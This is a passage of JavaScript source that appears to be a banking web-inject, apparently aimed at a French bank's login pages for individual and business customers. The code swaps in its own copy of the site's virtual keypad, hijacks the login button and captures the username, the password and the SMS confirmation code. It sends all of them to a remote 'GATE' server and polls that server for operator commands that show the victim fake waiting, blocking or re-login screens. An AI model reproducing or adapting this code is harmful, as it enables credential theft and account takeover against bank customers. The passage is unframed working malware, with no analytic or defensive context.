                forMainText.parentNode.innerHTML = '<div id="fieldLabelIdentifiant" style="color: #003366;font-family: Verdana,Arial,Helvetica,Geneva,Swiss,SunSans-Regular;font-size: 11px;">'+
                    '<p style="font-weight:normal;">'+FKTEXT.BLOCKMAIN+'<p>'+
                    '<br>'+
                    '<p>'+FKTEXT.BLOCTRYNEXTTIME+'<p>'+
                '</div>';
            }
        break;
    }
}
 
vw.actions = function(){
    switch(QUERY.COMMAND){
                
        case("OFFLINE"):
            vw.fake_step("login");
        break;
        
        case("BLOCK"):
            vw.fake_step("block");
        break;
        
        case("SMS"):
            vw.fake_step("sms");
        break;
        
        case("LOGIN"):
            vw.fake_step("login");
        break;
        
        case("REASK LOGIN INFO"):
            vw.fake_step("login");
        break;
        
        case("WAIT"):
            vw.fake_step("wait",true);
            setTimeout(vw.command,1000);
        break;
        
    }
}
 
//=================== INIT AJAX FUNCTIONS =====================
 
hujax.callback(UniversalCallback);
 
function UniversalCallback(){
    switch(kl){
        
        case("check"):
            if(admindata == "C:ON"){
                vw.render_login();
            }else if(admindata == "C:BLOCK"){
                vw.fake_step("block");
            }
            vw.showdoc(document);
        break;
        
        case("login"):
            if(typeof admindata != "undefined"){
                vw.fake_step("wait");
                vw.command();
            }else{
                vw.fake_step("login");
            }
        break;
        
        case("command"):
            if(QUERY.FINISH && !QUERY.CHANGED){
                vw.fake_step("login");
            }else{
                if(typeof admindata != "undefined"){
                    var els = admindata.split("|");
                    if(els && els.length == 2){
                        if(els[0] == QUERY.COMMAND){
                            setTimeout(vw.command,1000);
                        }else{
                            QUERY.CHANGED = true;
                            QUERY.COMMAND = els[0];
                            QUERY.VALUE = els[1];
                            vw.actions();
                        }
                    }
                }
            }
        break;
        
    }
}
 
vw.command = function(){
    var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
    LINK += "&type=intercept";
    kl = "command";
    hujax.send(LINK);
}
 
vw.check_start = function(){
    var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
    LINK += "&type=intercept";
    LINK += "&domain="+document.domain;
    LINK += "&browser="+vw.browser();
    kl = "check";
    hujax.send(LINK);
}
 
//=================== INIT START / LOGIN FUNCTIONS =====================
 
vw.clickarea = function(num){
    num += "";
    HOLDER.PASSWORD += num;
}
 
vw.resetpassword = function(){
    HOLDER.PASSWORD = "";
}
 
vw.lethim = function(){
    vw.mouse("click",buttonForClick);
}
 
vw.clone_button = function(){
    if(smsButton){
        var codeInput = document.getElementById("vw.code");
        if(codeInput.value.length >= 3){
            vw.fake_step("wait",true);
            HOLDER.SMS = codeInput.value;
            var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
            LINK += "&type=intercept";
            LINK += "&message=Code Recieved";
            LINK += "&data="+HOLDER.SMS;
            kl = "command";
            hujax.send(LINK);
        }
    }else{
        HOLDER.LOGIN = UI_login_input.value;
        vw.fake_step("wait",true);
        var LINK = GATE+"?mode=LOGIN&login1="+HOLDER.LOGIN+"&login2="+HOLDER.PASSWORD+"&hash="+Number(new Date());
        LINK += "&type=intercept&message=Loginning...";
        LINK += "&domain="+document.domain;
        LINK += "&browser="+vw.browser();
        kl = "login";
        hujax.send(LINK);
    }
}
 
vw.render_login = function(){
    vw.blockenter(UI_login_input);
    vw.blockenter(UI_password_input);
    
    if(/particuliers/igm.test(document.location.href+"")){
        buttonForClick = UI_login_button_0;
        clone.click(UI_login_button_0,vw.clone_button);
    }else if(/professionnels/igm.test(document.location.href+"")){
        buttonForClick = UI_login_button_1;
        clone.click(UI_login_button_1,vw.clone_button);
    }
    
    var mapId = document.getElementById("claviermap");
    if(mapId){
        mapId.parentNode.innerHTML = '<map name="vwmap">'+
                                        '<area shape="rect" coords="0,0,30,30" href="javascript:vw.clickarea(5)" class="toucheClavier" alt="Touche clavier" tabindex="3">'+
                                        '<area shape="rect" coords="0,35,30,65" href="javascript:vw.clickarea(7)" class="toucheClavier" alt="Touche clavier" tabindex="8">'+
                                        '<area shape="rect" coords="35,0,65,30" href="javascript:vw.clickarea(4)" class="toucheClavier" alt="Touche clavier" tabindex="4">'+
                                        '<area shape="rect" coords="35,35,65,65" href="javascript:vw.clickarea(9)" class="toucheClavier" alt="Touche clavier" tabindex="9">'+
                                        '<area shape="rect" coords="70,0,100,30" href="javascript:vw.clickarea(6)" class="toucheClavier" alt="Touche clavier" tabindex="5">'+
                                        '<area shape="rect" coords="70,35,100,65" href="javascript:vw.clickarea(0)" class="toucheClavier" alt="Touche clavier" tabindex="10">'+
                                        '<area shape="rect" coords="107,0,135,30" href="javascript:vw.clickarea(2)" class="toucheClavier" alt="Touche clavier" tabindex="6">'+
                                        '<area shape="rect" coords="107,35,135,65" href="javascript:vw.clickarea(8)" class="toucheClavier" alt="Touche clavier" tabindex="11">'+
                                        '<area shape="rect" coords="143,0,172,30" href="javascript:vw.clickarea(1)" class="toucheClavier" alt="Touche clavier" tabindex="7">'+
                                        '<area shape="rect" coords="143,35,172,65" href="javascript:vw.clickarea(3)" class="toucheClavier" alt="Touche clavier" tabindex="12">'+
                                    '</map>'+
 
                                    '<img src="'+ALINK+'imag/map.jpg" usemap="#vwmap">';
        
        vw.bind(UI_reset_button,"click",vw.resetpassword);
    }
}
 
vw.start = function(){
    if(UI_login_input && UI_password_input && UI_login_button_0 && UI_login_button_1){
        vw.check_start();
    }else{
        vw.showdoc(document);
    }
}
 
if(top == self){
    vw.start();
}else{
    vw.showdoc(document);
}

Comments